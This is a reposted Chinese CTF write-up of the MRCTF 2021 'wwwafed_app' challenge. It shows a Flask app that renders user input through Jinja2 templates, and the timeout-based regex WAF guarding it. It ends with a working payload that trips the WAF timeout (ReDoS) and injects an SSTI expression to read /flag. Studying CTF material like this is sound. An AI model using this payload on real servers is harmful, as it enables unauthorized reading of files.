[MRCTF 2021]wwwafed_app
Posted F1ght!!
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[MRCTF 2021]wwwafed_app相关的知识,希望对你有一定的参考价值。
之前打的MRCTF,没做出来什么题,也算是一种体验了~
这是大佬带出来的一道题:
进去之后是一个前端界面,先看前端,有一个输入框,输入域名来检测是否能连通,右上角,有一个waf source,可以点击:
得到和waf有关的源码:
import re,sys
import timeout_decorator
@timeout_decorator.timeout(5) def waf(url):
# only xxx.yy-yy.zzz.mrctf.fun allow
pat = r'^(([0-9a-z]|-)+|[0-9a-z]\\.)+(mrctf\\.fun)$'
if re.match(pat,url) is None:
print("BLOCK",end='') # 拦截
else:
print("PASS",end='') # 不拦截
if __name__ == "__main__":
try:
waf(sys.argv[1])
except:
print("PASS",end='')
其限制了输入的网址只能是xxx.yy-yy.zzz.mrctf.fun的形式,
可以考虑如何绕过正则,先放着:
通过dirsearch的扫描得到其可以访问 /source
直接爆出部分后台代码,如下:
from flask import Flask, request,render_template,url_for
from jinja2 import Template
import requests,base64,shlex,os
app = Flask(__name__)
@app.route("/")
def index():
return render_template('index.html')
@app.route("/waf")
def wafsource():
return open("waf.py").read()
@app.route("/source")
def appsource():
return open(__file__).read()
@app.route("/api/spider/")
def spider(url):
url = base64.b64decode(url).decode('utf-8')
safeurl = shlex.quote(url)
block = os.popen("python3 waf.py " + safeurl).read()
if block == "PASS":
try:
req = requests.get("http://"+url,timeout=5)
return Template("访问成功!网页返回了{}字节数据".format(len(req.text))).render()
except:
return Template("访问{}失败!".format(safeurl)).render()
else:
return Template("WAF已拦截,请不要乱输入参数!").render()
if __name__ == "__main__":
app.run(host="0.0.0.0",port=5000,debug=True)
明显是flask框架,可能存在SSTI模版注入。
查看路由,最后面的路由,"/api/spider/"是主要的功能:
将传入的url进行了base64加密和shlex函数的转义,
然后进行命令执行,判断是否能连通:
然而最后是不小心被非预期出来了:
在输入框输入1111111111111,很多个1后可以实现SSTI模板注入:
11111111111111111111111111{{''.__class__.__mro__[1].__subclasses__()[94].get_data(0,"/flag")}}
原理是其后台正则检验,有时间限制,超过时间则放行,类似回溯绕过,这个叫ReDOS(正则表达式DOS)。
以上是关于[MRCTF 2021]wwwafed_app的主要内容,如果未能解决你的问题,请参考以下文章